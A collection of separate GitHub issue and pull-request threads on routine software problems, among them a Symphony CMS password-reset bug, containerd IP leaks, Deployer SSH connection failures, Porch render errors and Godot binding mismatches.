Remove dedicated view for installed extensions. This is not needed anymore as we have moved on to show enabled/disabled sections in the default extensions view instead of installed.
When there are no installed extensions, show recommended section along with the popular one.

LGTM


Forgotten Password is broken

Line 532 of class.Symphony.php should be:
            self::Database()->delete('tbl_forgotpass', sprintf(" `token` = '%s' ", $token));

I don't know how long this has been broken.
This should be an emergency point release, and should be done very quickly IMO.

It's supposed to be fixed... https://github.com/symphonycms/symphony-2/issues/2345 and https://github.com/symphonycms/symphony-2/commit/830fe42ca9f3b23072ff7b964f53a250fbb358a5
What version are you testing ?

The latest stable release. I won't use integration anymore.
If it's been fixed already then why is it not released as a point already? This is getting ridiculous now. Minor point release bug fixes like that should be out of the door faster than 20 days!

This is getting ridiculous now.

I agree. @brendo and I must have missed this commit when did 2.5.3.
I think we should release 2.5.4 with this single commit in it.

I won't use integration anymore.

You shouldn't have to for minor bugfixes like this.

I think we should release 2.5.4 with this single commit in it.

+1

Upon @brendo's approval, I could get it out by tomorrow.

Yeah it can be pushed out in a single commit as 2.5.4
On 26 Feb 2015 02:04, "Nicolas Brassard"<EMAIL_ADDRESS>wrote:

Upon @brendo https://github.com/brendo's approval, I could get it out
by tomorrow.
—
Reply to this email directly or view it on GitHub
https://github.com/symphonycms/symphony-2/issues/2359#issuecomment-75987537
.

Ok perfect Brendan I'll do this.
Ok I'll merge again integration with master ?

Yeah, I'd checkout 2.5.x, cherry-pick that 830fe42ca9f3b23072ff7b964f53a250fbb358a5 (can't believe we both missed it, it was the whole point of that release :cry:), and then bump to 2.5.4. integration will then get merged with master.

No wait. This was fixed in 2.5.3. https://github.com/symphonycms/symphony-2/blob/master/symphony/lib/core/class.symphony.php#L532 via 5d16037683c73b950606b1df703c6d02cb7a9b77
@designermonkey can you please confirm what version you are running?

Ah. It's 2.5.2. I was sure this was updated, but then I have so many different versions running. :(

Ah. It's 2.5.2.

So let's move on to discuss @designermonkey's punishment... :)

So let's move on to discuss @designermonkey's punishment... :)

I'd say make him play with package management systems.... https://twitter.com/designermonkey/status/570925570697105408


Write a Julia programme for Linear Search.

Description
Write a programme for Linear Search.
Input  : 10 20 80 30 60 50
Target : 30

Output : 3

Code of Conduct

[X] I have read and agree to the Codinasion project's Code of Conduct

Hey,
Just for clarification for future Julia issues, arrays in Julia start at index 1, so the expected output should be 4 in this case.


Get up and running on Appveyor

Appveyor allows us to test for Windows support, to avoid problems like the one solved by #173.

Despite this being closed, AppVeyor builds do not pass tests right now due to several issues. After a break, I just wanted to continue working on this again, but I realized @xtreme-vikram-yadav removed the ci/install_*.sh scripts in eae74c029ad5e70328602a07c3028feeee9fb813 in favor of a Docker file. However, Windows / AppVeyor does not support Docker natively.
So, what's the plan going forward to support CI on Windows? If the plan is to exclusively use Concourse in the future, does that support Windows?

Concourse does support windows. Not sure what @kdykeman and team are planning for here, but I'd like to refactor the concourse setup to use https://github.com/flavorjones/concourse-gem and a windows worker like the pipelines at ci.nokogiri.org.

Concourse does support windows.

Interesting. From what I understand, Concourse requires self-hosting, and there's no public service for OSS projects like for Travis / AppVeyor, correct?
In any case, I'll submit my fixes to make tests pass on Windows in general.

Concourse requires self-hosting, and there's no public service for OSS projects

Also correct. The tradeoff, though, is that you get a ton of flexibility in how and what you run in the pipelines. I'll point again at https://ci.nokogiri.org/ in which Nokogiri is tested under a wide range of situations, including under valgrind; on windows; and (not publicly visible) on OSX. This flexiblity is occasionally necessary and useful.
For example, on LicenseFinder, we found it extraordinarily difficult to set up a working erlang/elixir environment on Travis to support merging https://github.com/pivotal/LicenseFinder/pull/261. That path is now open to us with Concourse.

There is a story to stand up a windows concourse worker, but we haven't gotten to it yet.  I have to admit, I was somewhat hoping to see a PR come in from others for that.

@kdykeman I can PR a windows test task into the pipeline. It's on my TODO list.

More Windows test fixes are in https://github.com/pivotal/LicenseFinder/pull/294. I believe there's only one more issue on Windows, but I'll double-check one Concourse is running on Windows.
BTW, I have some local improvements to appveyor.yml. Are you interested in getting these merged, or will appveyor.yml go away in favor of Concourse anyway soon?

If you have changes to appveyor.yml I'm sure they'd be welcome.
But Appveyor is limited in the same ways that Travis is, and so we may have to run an abbreviated test suite on those platforms once we pull in additional support (like erlang/elixir above).

The "problem" with my appveyor.yml changes is that they require to restore the ci/install_* scripts that were removed in eae74c0, and I guess you'd not want that, or?

@kdykeman, while I'm not actively using LicenseFinder anymore, I'm willing to help WRT Windows support! I'll start filing a few PRs, starting with https://github.com/pivotal/LicenseFinder/pull/353.

Excellent! Very much appreciated!

@kdykeman, I've figured out why the Bower feature test fails on Windows, but I'm unsure how to solve it. On Windows I get
Dependencies that need approval:
gmaps, 0.2.30, "This package is not installed. Please install to determine licenses."

So gmaps is not installed. But isn't LicenseFinder supposed to install it automatically in order to check the license? Is it pure coincidence that the gmaps seems to be installed on Linux, or do you explicitly do that somewhere?

@kdykeman Any comment on my gmaps question above?

@sschuberth Sorry, I missed your gmaps question until now. I'll need to dig into it a bit.


Svelte: Module not found: Error: Default condition should be last one

Package

[ ] lucide
[ ] lucide-angular
[ ] lucide-flutter
[ ] lucide-preact
[ ] lucide-react
[ ] lucide-react-native
[ ] lucide-solid
[X] lucide-svelte
[ ] lucide-vue
[ ] lucide-vue-next
[ ] Figma plugin
[ ] source/main
[ ] other/not relevant

Version
0.270 & 0.279
Browser

[ ] Chrome/Chromium
[X] Firefox
[ ] Safari
[ ] Edge
[ ] iOS Safari
[ ] Opera
[ ] Other/not relevant

Operating system

[ ] Windows
[X] Linux
[ ] macOS
[ ] Other/not relevant

Description
Upgrading from 0.269 to version >=0.270
Steps to reproduce
Since introduced changes in 0.270 I can't do the upgrade to a newer version from 0.269.

https://github.com/lucide-icons/lucide/compare/0.269.0...0.270.0
Can't upgrade to lucide icons > 0.269 because of a breackage with svelte:

Checklist

[X] I have searched if someone has submitted a similar issue before and there weren't any. (Please make sure to also search closed issues, as this issue might already have been resolved.)

@Huluti You should upgrade to the latest version of lucide-svelte. This is fixed in #1548

Already tried with 0.279.0 and I have the same errors.
All versions > 0.269 have this problem for me.

@Huluti @ericfennis I have the same issue

Oke reopening this one then.


Generate library public method reference doce from jsDoc Comments

Generate reference docs for emitters using jsDoc comments in code

[ ] Create/reuse tool to extract reference docs from public javascript API surface
[ ] Add automation to regenerate developer docs to the rush pipeline for the repo

pri: 2
est: 13


Add faction tag unicode ranges

This leans more on the conservative side but does also allow some full blocks that may not be needed such as the mathematical operators block.
We might very well desire to add more entire blocks like the entirety of currency rather than just Euros and Bitcoin.
This also neglects to support various languages that should probably be supported in favour of focusing more on symbols and punctuation that may be missing.

Oh wow, this is a lot more than I was expecting.
A few points:

Quite a few of these render as very wide characters, which can lead to spammy tags like "ＮＥＴＵＸ" (full-width range) or "⏠⏡⏠⏡⏠" (from the misc range).
The full-width and circled alphabet could also be used to bypass the text filters we have in place.
All the musical notes (also the musical cleff), and these characters from the misc technical range ⎷ ⎸ ⎹ ⎺ ⎻ ⎼ ⎽ don't render correctly on the devices I've tried.

Overall, I'm not sure how much use most of the math symbols and misc technical symbols will get. The quotation marks might be an overkill as well.

In regards to the full-width characters, I expect that we should eventually either support all languages anyway or make this configurable at the very least. One of these languages is Japanese which makes use of full-width characters.
I think the correct choice is not to prevent everyone from using them but to moderate it appropriately as you would the rest of chat. This also applies to the filters, speaking of which - do the current filters consider Latin extended characters for this purpose?
I understand the concern about musical notes and there are some appropriate emoji that can be used as a substitute. As for the technical symbols, there are some characters in that range usually considered emoji:
⌚⌛⏰⏱⏲⏳ and ⏩⏪⏫⏬⏭⏮⏯⏸⏹⏺ that should probably be included at least.
Let me know what you think and we can adjust the ranges appropriately.

I expect that we should eventually either support all languages anyway
From what I've gathered, support for multiple languages is something we don't really want, as it could make moderation difficult.
In fact, part of why there are restrictions here is to make moderation easier.

[...] or make this configurable at the very least
That'd actually be swell, so we don't have to make PRs everytime we change the codepoints.

do the current filters consider Latin extended characters for this purpose?
The filter are configurable so they can be made into accepting those; but so far it hasn't been necessary.

As for the technical symbols, there are some characters in that range usually considered emoji
Yes, I saw them. Those can stay; but the rest of the misc seemed very useless.

My primary concern for supporting multiple languages is that this is supposed to be an open project that anyone can use (and people have used it for their own purpose)
It seems like you prefer the configuration way of solving this but there's something to be said for not needing to configure a potentially difficult option and have a good built-in setting.

Sorry for the late response:
While yes, we can change the filter regex's to suit our needs, I failed to mention adding the new alphabets adds complexity to the regex's. In fact, I just tried doing one adding the new symbols to one of them and it became an unreadable mess.
Besides, the more I talk with staff the more they say they wouldn't prefer them for now as they seem unnecessary and a bit spammy.
Since the next canvas reset is so soon I'd suggest removing both circled and full-width alphabet ranges for now and working on their addition in another PR that can solve the complexity of the filters and/or make these ranges configurable.

I did think that's what you meant - I was sort of intending to poke at the fact that you didn't really have a proper system but that can be addressed elsewhere.
I'll remove them for now so we can merge this and look at solving the other issue brought here another time.


linux-firmware: use commit instead of tag

Motivation for this change
Since the repo appears to be somewhat corrupted and switching to the tag
from nix-build does not currently work consistently.
https://github.com/NixOS/nixpkgs/issues/114439
Things done
Tested with nix-build and the --option substitute false option to
verify nix isn't using the sha256. Indeed this failed without the change
and succeeded after the change.

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[ ] Fits CONTRIBUTING.md.

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/what-are-your-goals-for-21-05/11559/4

Result of nixpkgs-review pr 114588 run on x86_64-linux 1

Let's close this in favor of #116306 :)


HttpClient.close() doesn't close the connection

According to the HttpClient.close() documentation

Shut down the HTTP client. If force is false (the default) the HttpClient will be kept alive until all active connections are done. If force is true any active connections will be closed to immediately release all resources. These closed connections will receive an error event to indicate that the client was shut down. In both cases trying to establish a new connection after calling close will throw an exception.

In fact, HttpClient.close() doesn't close the client even with force true flag. And after close() call HTTP request can be sent from the client. Example
import "dart:io";
import "dart:async";
import "dart:convert";

var localhost = InternetAddress.LOOPBACK_IP_V4.address;

main() async {
  String helloWorld = "Hello world!";
  HttpServer server = await HttpServer.bind(localhost, 0);
  server.listen((HttpRequest request) {
    request.response.write(helloWorld);
    request.response.close();
    print("Request processing completed");
  });

  new Timer(new Duration(seconds: 1), () {
    print("Server closed");
    server.close();
  });

  HttpClient client = new HttpClient();

  client.getUrl(Uri.parse("http://${localhost}:${server.port}"))
      .then((HttpClientRequest request) {
    print("Request 1 sent");
    return request.close();
  }).then((HttpClientResponse response) {
    response.transform(UTF8.decoder).listen((content) {
      print("Response 1:" + content);
      client.close(force: true);
      print("HttpClient closed");

      client.getUrl(Uri.parse("http://${localhost}:${server.port}"))
          .then((HttpClientRequest request) {
        print("Request 2 sent");
        return request.close();
      }).then((HttpClientResponse response) {
        response.transform(UTF8.decoder).listen((content) {
          print("Response 2:" + content);
        });
      });
    });
  });
}

This program produces
Request 1 sent
Request processing completed
Response 1:Hello world!
HttpClient closed
Request 2 sent
Request processing completed
Response 2:Hello world!
Server closed

Tested on Dart VM version: 2.0.0-dev.8.0 (Fri Nov 17 14:04:05 2017) on "windows_x64"

+1
Any update on this?

+1
Any update on this?

@a-siva @mit-mit – who is looking at these types of issues?


is it possible to set AssemblyInformationalVersion

I can add support for AssemblyInformationalVersion attribute, but as far as I know, the value of this attribute usually represents the version of the whole product and many people tend to prefer to set it manually.

Implemented in version 1.6.
The list of all added tags and attributes can be found in the description of the PR https://github.com/vers-one/dotnet-project-version-updater/pull/12.


example

example？

what package do you need an example for? each package has an example bundled with it in the example folder.

omxplayer_video_player example，thank you,I use electron + react instead

just for completeness:
omxplayer_video_player is just a backend for the official video_player package. So you set it up like in the readme, and then you just use the VideoPlayer widget of the video_player package. The examples are here, basically.
That's what I meant with A package that implements video_player_platform_interface using .... But I guess I can make it clearer a bit.

clarified it in the readme, not published to pub.dev yet though


Add SourceReference to Error Reporting Reports if it exists.

cc: @SurferJeffAtGoogle

@jskeet I would like to add this feature to the diagnostics library but it looks like our error reporting library (v1beta1) is either out of date or missing a field sourceReferences.  Can we update the library?
As a note I only want the updated error reporting library for testing the error reports are correct.

We can update the library if necessary, but I don't see it in the proto :(

Closing this issue for now.  Will come back if this ever is added.


Pods stuck in RunContainerError status with error: no IP addresses available

Describe the bug
With containerd 1.4.4 as container runtime, it may happen that some nodes failed to create new Pods with RunContainerError. Describing the pod got the below message:
Events:
  Type     Reason                  Age                   From     Message
  ----     ------                  ----                  ----     -------
  Warning  FailedCreatePodSandBox  71s (x622 over 136m)  kubelet  (combined from similar events): Failed to create pod sandbox: rpc error: code = Unknown desc = failed to setup network for sandbox "8c64f8839249ab0f85e1b44994335d3b3062ac77e48f295b7a5a5db21ce4034d": failed to allocate for range 0: no IP addresses available in range set: <IP_ADDRESS>-<IP_ADDRESS>

But there should be available IPs on the Node.
This seems to be caused by some issue in containerd or runc because containerd had been failing to create sandbox container tasks for a while before the IPs were exhausted:
Jun 07 06:14:21 containerd[683]: time="2021-06-07T06:14:21.274380342Z" level=error msg="RunPodSandbox for &PodSandboxMetadata{Name:cafe-80-5b5b959fcd-mxqd8,Uid:3b511311-d3b0-4f38-bcdd-1c7a6d56d3d8,Namespace:workload-ns-20,Attempt:1,} failed, error" error="failed to start sandbox container task \"a719a9447d058e721c81155213d7b94c4050bb88c53f869f7a0b996a1ae48ec8\": context canceled: unknown"

The above error was from https://github.com/containerd/containerd/blob/963625d7bcee468ced2f868a9de6dbb2c7506514/vendor/github.com/containerd/cri/pkg/server/sandbox_run.go#L285, which indicated it failed in task.Start(ctx).
The messages said it failed to allocate IP was because of another containerd issue https://github.com/containerd/containerd/issues/5438 that it didn't invoke CNI for cleanup when sandbox container creation times out. So it kept allocating IPs and being stuck in creating sandbox container tasks. After all IPs were exhausted, it started to alarm the above IP allocation error instead of creating sandbox container error because CNI was invoked before starting sandbox container task.
The reason why containerd failed to start sandbox container task was still not clear. I suspected it was caused by https://github.com/opencontainers/runc/issues/2865 as currently the issue was only hit with containerd 1.4.4 which has the runc bug, but @dims clarified using containerd directly won't hit it.
The IP leak issue was not specific to Antrea as it was because containerd didn't invoke CNI for cleanup, https://github.com/containerd/containerd/issues/5438 was reported with Weave as the CNI plugin. I created https://github.com/containerd/containerd/pull/5569 to fix it on containerd side.
Both issues seem to be in containerd/runc, currently nothing can be done on Antrea side. Using a different containerd version should avoid it.
To Reproduce

Use container 1.4.4 as the container runtime.
Keep creating Pods until it failed.

Versions:
Please provide the following information:

Antrea version (Docker image tag). N/A
Kubernetes version (use kubectl version). If your Kubernetes components have different versions, please provide the version for all of them. N/A
Container runtime: which runtime are you using (e.g. containerd, cri-o, docker) and which version are you using? containerd 1.4.4

cc @luwang-vmware @dims @andrewsykim

After applying containerd/containerd#5569 to containerd 1.4.4, Pod IPs were no longer leaked and all Pods failed with the error failed to start sandbox container task
we saw exactly same error as https://github.com/opencontainers/runc/issues/2865.
# strace -p 1820363 -s256 -e write
strace: Process 1820363 attached
write(2, "standard_init_linux.go:207: init seccomp caused: error loading seccomp filter into kernel: loading seccomp filter: invalid argument\n", 132) = 132
+++ exited with 1 +++

So this was caused by https://github.com/opencontainers/runc/issues/2865 and has been fixed by https://github.com/opencontainers/runc/pull/2871. Bumping up containerd to >1.4.4 (runc > 1.0.0-rc93) can avoid it.
The IP leak issue has been fixed by https://github.com/containerd/containerd/pull/5569 and is being backported to containerd 1.4 and 1.5.


Shell on your server is not POSIX-compliant. Please change to sh, bash or similar.

Q
A

Issue Type
Question

Deployer Version
Using .phar version, 3.3.0

Local Machine OS
Windows 7

Remote Machine OS
Debian 8

Description
I can't connect to my server with Deployer, but "normal SSH" connexion is working (through Git Bash, OpenSSH, Putty...).
Content of deploy.php
<?php
require 'recipe/symfony.php';
set('ssh_type','ext-ssh2');

server('preprod', 'XX.XX.XX.XXX')
    ->user('user')
    ->configFile('C:/Users/user/.ssh/config')
    ->stage('production')
    ->env('deploy_path', '/var/www/path/www');

set('repository', 'https://pwd@bitbucket.org/user/repo.git');

Output log
$ php deployer.phar deploy preprod -vvv
Ô×ñ Executing task ←[32mdeploy:prepare←[39m
Ôå│ on [preprod]
←[31m>←[39m echo $0

Warning: ssh2_connect(): Unable to connect to XX.XX.XX.XXX on port 22 in phar://C:/wamp/www/repo/deployer.phar/vendor/herzult/php-ssh/src/Ssh/Session.php o
n line 153

Warning: ssh2_connect(): Unable to connect to XX.XX.XX.XXX in phar://C:/wamp/www/repo/deployer.phar/vendor/herzult/php-ssh/src/Ssh/Session.php on line 153
←[37;41m                                                                                ←[39;49m
←[37;41m  Shell on your server is not POSIX-compliant. Please change to sh, bash or similar.  ←[39;49m
←[37;41m  Usually, you can change your shell to bash by running: chsh -s /bin/bash            ←[39;49m
←[37;41m                                                                                ←[39;49m
←[37;41m                              ←[39;49m
←[37;41m  [RuntimeException]          ←[39;49m
←[37;41m  The SSH connection failed.  ←[39;49m
←[37;41m                              ←[39;49m

←[33mException trace:←[39m
 () at ←[32mphar://C:/wamp/www/repo/deployer.phar/vendor/herzult/php-ssh/src/Ssh/Session.php:134←[39m
 Ssh\Session->createResource() at ←[32mphar://C:/wamp/www/repo/deployer.phar/vendor/herzult/php-ssh/src/Ssh/AbstractResourceHolder.php:25←[39m
 Ssh\AbstractResourceHolder->getResource() at ←[32mphar://C:/wamp/www/repo/deployer.phar/vendor/herzult/php-ssh/src/Ssh/Subsystem.php:39←[39m
 Ssh\Subsystem->getSessionResource() at ←[32mphar://C:/wamp/www/repo/deployer.phar/vendor/herzult/php-ssh/src/Ssh/Exec.php:18←[39m
 Ssh\Exec->createResource() at ←[32mphar://C:/wamp/www/repo/deployer.phar/vendor/herzult/php-ssh/src/Ssh/AbstractResourceHolder.php:25←[39m
 Ssh\AbstractResourceHolder->getResource() at ←[32mphar://C:/wamp/www/repo/deployer.phar/vendor/herzult/php-ssh/src/Ssh/Exec.php:24←[39m
 Ssh\Exec->run() at ←[32mphar://C:/wamp/www/repo/deployer.phar/src/Server/Remote/SshExtension.php:116←[39m
 Deployer\Server\Remote\SshExtension->run() at ←[32mphar://C:/wamp/www/repo/deployer.phar/src/functions.php:296←[39m
 run() at ←[32mphar://C:/wamp/www/repo/deployer.phar/recipe/common.php:110←[39m
 {closure}() at ←[32mn/a:n/a←[39m
 call_user_func() at ←[32mphar://C:/wamp/www/repo/deployer.phar/src/Task/Task.php:79←[39m
 Deployer\Task\Task->run() at ←[32mphar://C:/wamp/www/repo/deployer.phar/src/Executor/SeriesExecutor.php:43←[39m
 Deployer\Executor\SeriesExecutor->run() at ←[32mphar://C:/wamp/www/repo/deployer.phar/src/Console/TaskCommand.php:82←[39m
 Deployer\Console\TaskCommand->execute() at ←[32mphar://C:/wamp/www/repo/deployer.phar/vendor/symfony/console/Command/Command.php:256←[39m
 Symfony\Component\Console\Command\Command->run() at ←[32mphar://C:/wamp/www/repo/deployer.phar/vendor/symfony/console/Application.php:791←[39m
 Symfony\Component\Console\Application->doRunCommand() at ←[32mphar://C:/wamp/www/repo/deployer.phar/vendor/symfony/console/Application.php:186←[39m
 Symfony\Component\Console\Application->doRun() at ←[32mphar://C:/wamp/www/repo/deployer.phar/vendor/symfony/console/Application.php:117←[39m
 Symfony\Component\Console\Application->run() at ←[32mphar://C:/wamp/www/repo/deployer.phar/src/Deployer.php:101←[39m
 Deployer\Deployer->run() at ←[32mphar://C:/wamp/www/repo/deployer.phar/bin/dep:63←[39m
 require() at ←[32mC:\wamp\www\repo\deployer.phar:4←[39m

←[32mdeploy [-p|--parallel]←[39m

@elfet This seems like an ssh2 extension bug

@oanhnn Has this bug been reported to ssh2 developers?

@bilougit https://bugs.php.net/bug.php?id=60436

Do I have another solution to connect to my server in the meantime?

Is there any solution for this problem? Or is that mean that ext-ssh2 doesn't work in deployer?

It's working. In Deployer v4 you can use native ssh implementation.

Is v4 released ? The doc/website still mention v3.3.

v4 in still in progress. Will be releases soon i hope.

Ok thanks! Can't wait, still using the old version of Capifony here...

If you want to support Deployer development you can become backer on https://www.patreon.com/deployer

Still doesn't work for me in 4.0.1 :/

@sebastianlp
What is method you used? ssh2, phpseclib or native ssh ?
Can you try with other method?

You can close it, now it's working with native ssh.

Cool.

I have the same issue.
and I find out echo $0 will output '-bash'.
yes, with leading "-".
using native ssh and deployer 4.2.1
but phpseclib is okay.

I'm having this issue too. Has is been resolved and if so, how?

closed but no comment on how to fix this @antonmedv

Open new issue


samclassix-develop-layout-ui

Updates in the UI / Navbar / Position Pages
Branch: samclassix-develop-layout-ui
State: development/alpha
Live: https://alpha.app.frankencoin.3dotshub.com
Screenshots

I see that the old landing screen was disabled.
Before disabling it, we should make sure that all information from the old landing page is also available on the new one.
Most importantly, the new www page should contain links to all token contracts on all chains, links to the bridges to those chains, and links to defi llama swap so one can buy and sell all flavors of the ZCHF and FPS.
This is a task for @TaprootFreak

For the frontend, a click onto the icon should send the user back to the landing page (frankencoin.com). The page that loads in the alpha version when clicking on the top left icon is not necessary and can be dropped.

We should also drop the auctions tab.
"Your auctions" should be included under "My positions".
"All auctions" should be moved to "Supervision".

Supervision

I see that the old landing screen was disabled.
Before disabling it, we should make sure that all information from the old landing page is also available on the new one.
Most importantly, the new www page should contain links to all token contracts on all chains, links to the bridges to those chains, and links to defi llama swap so one can buy and sell all flavors of the ZCHF and FPS.
This is a task for @TaprootFreak

Nice :)
@TaprootFreak
if you need details about the collateral within the frankencoin system and the mint token, check out the new api service.
Currently Collateral Live on: https://api.frankencoin.3dotshub.com/prices/collateral
Currently Mint Live on: https://api.frankencoin.3dotshub.com/prices/mint
=> Swagger: https://api.frankencoin.3dotshub.com

For the frontend, a click onto the icon should send the user back to the landing page (frankencoin.com). The page that loads in the alpha version when clicking on the top left icon is not necessary and can be dropped.

@luziusmeisser
Should the landing page:
a) open in the same tab
b) open in a new tab

In My positions, the horizontal slider with the collaterals is not needed and should be removed.

Should we display different data in the horizontal slider component?
e.g. <Token, Amount of owned positions, Amount of owned challenges, Worst owned collateral state> ?

Should we display different data in the horizontal slider component? e.g. <Token, Amount of owned positions, Amount of owned challenges, Worst owned collateral state> ?

No, I think we can simply drop it.

I think we should go back to the old table layout. It was cleaner and more compact. Now it is:

Before it was:

Here is how I would do it:

Very simple and reduced to the essential information. "Clone & Mint" should be renamed to "Borrow".

The [/] should be the outside link indicator. :)
When clicking the position, we should go to the position page.
When clicking the borrow button, we should directly go to the borrow page.

Note that in the current alpha, navigation is broken. When starting at "borrow" and selecting a position, there is a link "back to positions" that does not take you back but to the "my positions" page. We should remove that link.

Also, let's drop the top slider everywhere. To me, it is too distracting. We can discuss, but it seems like it does not add much value and at the same time draws too much attention.


script for issue #468

Hi @ValerasNarbutas - I have updated the title to remove using "CLI for Microsoft 365" where it occurs, is that ok? Someone in the future may want to create using an alternative tool.  Please confirm before I merge?
Other than that, awesome sample - thank you!

hey @pkbullock,
i most definitely don't mind, thanks for checking and updating.

Sweet! Thank you @ValerasNarbutas - this will be live shortly 🎉😊😁


Fix issue #337

Coverage remained the same at 100.0% when pulling 38e9410a150479b66c6a230afedb1e02a468394e on issue_337 into 2d19e0a046795838c1fe1f3f6d3e763a6c57034a on 3.x.


Improvements to Progression system

When turning on progression now, items that should be purchased from the store will remain unlocked, the reason is that i noticed the majority of players dont want to enable progression solely because the store camos in their Titans/Weapons, or using Prime Titans entirely, the developer profile banners and icon patches exposed from the DevEverythingUnlocked function will remain hidden however.
And a function to reset titan aegis ranks is also added if the player wants to re-grind their aegis ranks with said titan, this will be only accessible via console for now, but i integrated an option in the Frontier Defense menu for the Mixtape Menu mod, will also eventually update the Matchmaking PR if it gets merged.

These changes should probably be split into two different PRs.
Also, I'm not sure about unlocking the paid items for free with progression enabled tbh

if we're trying to imitate vanilla, probably shouldn't unlock paid items by default tbh

Why not? They are vanilla

Why not? They are vanilla

Yeah but they are locked (paid) in vanilla, so if we are imitating vanilla they should also be paid. (yes, entitlements carry over between vanilla and northstar, and buying things works in northstar)

You can already equip 'premium' content in Northstar. What is thebpoint to only limit those that choose to play with progression. And if you limit what to equip you can just change it since servers do not check what is equipped

I agree with Uniboi on this, i got a plenty of players saying that they simply don't wanna enable progression because they don't wanna lose access to those paid stuff. Having them to pay for that stuff is the ideal option? Yes, but they also might just go and click in "Toggle progression" again and actually never buy them, if they were the minority i wouldn't bother, but most people are willing to sacrifice the whole progression system in exchange of accessing the Prime Titans and the most worthy camos/skin the Titans have, please don't let the progression system become another case like Frontier War.

Aight, sure. But either way, this still applies:

These changes should probably be split into three different PRs.

to be more specific:

unlocking paid content as one
concommand for resetting aegis ranks as one
that change i see in the diffs for the loadout validation should be one

Splits dones.

Github actions having problems, can't even force a re-run since it thinks there are no jobs.
A commit should give it a kick though


Porch returns a generic error when Kptfile validation fails on render

Original issue URL: https://github.com/kptdev/kpt/issues/3423
Original issue user: https://github.com/ChristopherFry
Original issue created at: 2022-07-30T03:03:30Z
Original issue last updated at: 2022-08-24T20:43:54Z
Original issue body: Porch always returns a generic error when a Kptfile validator function fails on render.
Expected behavior
Porch should return the fail message of the validator.
Actual behavior
Porch returns the following error regardless of the fail message of the validator
Error: Internal error occurred: fn.render: pkg .:
        pkg.render:
        pipeline.run: error: function failure

Information
Both Porch and the CLI are on https://github.com/GoogleContainerTools/kpt/tree/208b4c422c85ff6da4cb4c2b9755f0a23a1329c6.
Steps to reproduce the behavior

Create a simple Kpt package using kpt alpha rpkg init

Use kpt alpha rpkg pull to save package to local filesystem

Add a simple StarlarkRun validation resource to the package

apiVersion: fn.kpt.dev/v1alpha1
kind: StarlarkRun
metadata:
  name: validate
  annotations:
    config.kubernetes.io/local-config: "true"
source: |-
  fail("Validation always fails")

Update Kptfile to reference StarlarkRun resource

pipeline:
  validators:
  - image: gcr.io/kpt-fn/starlark:v0.4.3
    configPath: validate.yaml

Using kpt fn render the expected error message returns

Package "this-package":
[RUNNING] "gcr.io/kpt-fn/starlark:v0.4.3"
[FAIL] "gcr.io/kpt-fn/starlark:v0.4.3" in 4.4s
  Results:
    [error]: fail: Validation always fails
  Stderr:
    "failed to evaluate function: error: function failure"
  Exit code: 1

Using kpt alpha rpkg push to push the package to Porch the generic error message is returned

Error: Internal error occurred: fn.render: pkg .:
        pkg.render:
        pipeline.run: error: function failure

Original issue comments:
Comment user: https://github.com/natasha41575
Comment created at: 2022-08-09T22:23:14Z
Comment last updated at: 2022-08-09T22:23:35Z
Comment body: https://github.com/GoogleContainerTools/kpt/pull/3451 will surface the validation error. Do you mind taking a quick look to see if the format of the returned error works for you?
Comment user: https://github.com/natasha41575
Comment created at: 2022-08-24T20:43:54Z
Comment last updated at: 2022-08-24T20:43:54Z
Comment body: Per offline discussion, @droot will be taking over this by surfacing the function results in the API.

This bug has already been fixed, following the steps above (log below) shows that the correct error message is emitted.
% porchctl rpkg init looby --repository mgmt --workspace liam -n zooby
mgmt-cc83c405baad19f7dfe2dd64db8dec71fad56041 created

% porchctl rpkg pull mgmt-cc83c405baad19f7dfe2dd64db8dec71fad56041 -n zooby looby

% echo "Added the Starlark pipeline entry"
Added the Starlark pipeline entry

% kpt fn render looby
Package "looby":
[RUNNING] "gcr.io/kpt-fn/starlark:v0.4.3"
[FAIL] "gcr.io/kpt-fn/starlark:v0.4.3" in 200ms
  Results:
    [error]: fail: Validation always fails
  Stderr:
    "failed to evaluate function: error: function failure"
  Exit code: 1

% porchctl rpkg push mgmt-cc83c405baad19f7dfe2dd64db8dec71fad56041 -n zooby looby
Package is updated, but failed to render the package.
Error: fn.render: pkg /:
	pkg.render:
	pipeline.run: error: function failure
[RUNNING] "gcr.io/kpt-fn/starlark:v0.4.3"
[FAIL] "gcr.io/kpt-fn/starlark:v0.4.3"
  Results:
    [error]: fail: Validation always fails
mgmt-cc83c405baad19f7dfe2dd64db8dec71fad56041 pushed

% porchctl rpkg delete -n zooby mgmt-cc83c405baad19f7dfe2dd64db8dec71fad56041
mgmt-cc83c405baad19f7dfe2dd64db8dec71fad56041 deleted

Already fixed in current version of Porch.


GDExtension property mismatches

Godot version
master: 0291fcd7b66bcb315a49c44de8031e5596de4216
System information
MacOS
Issue description
While generating Swift bindings, there are a number of places where Godot declares property getters or setters that do not match the methods define.
The following is a list of those cases:

AnimationNodeTransition.input_count: property declared get_input_count, but it does not exist with that name
ArrayOccluder3D.vertices: property declared get_vertices, but it does not exist with that name
ArrayOccluder3D.indices: property declared get_indices, but it does not exist with that name
AudioStreamPlayer.playing property declared _set_playing but it does not exist with that name
AudioStreamPlayer2D.playing property declared _set_playing but it does not exist with that name
AudioStreamPlayer3D.playing property declared _set_playing but it does not exist with that name
Control.anchor_left property declared _set_anchor but it does not exist with that name
Control.anchor_top property declared _set_anchor but it does not exist with that name
Control.anchor_right property declared _set_anchor but it does not exist with that name
Control.anchor_bottom property declared _set_anchor but it does not exist with that name
Control.size property declared _set_size but it does not exist with that name
Control.position property declared _set_position but it does not exist with that name
Control.global_position property declared _set_global_position but it does not exist with that name
CurveTexture.width: property declared get_width, but it does not exist with that name
CurveXYZTexture.width: property declared get_width, but it does not exist with that name
DirectionalLight2D.height: property declared get_height, but it does not exist with that name
DirectionalLight3D.directional_shadow_split_1: property declared get_param, but it does not exist with that name
DirectionalLight3D.directional_shadow_split_2: property declared get_param, but it does not exist with that name
DirectionalLight3D.directional_shadow_split_3: property declared get_param, but it does not exist with that name
DirectionalLight3D.directional_shadow_fade_start: property declared get_param, but it does not exist with that name
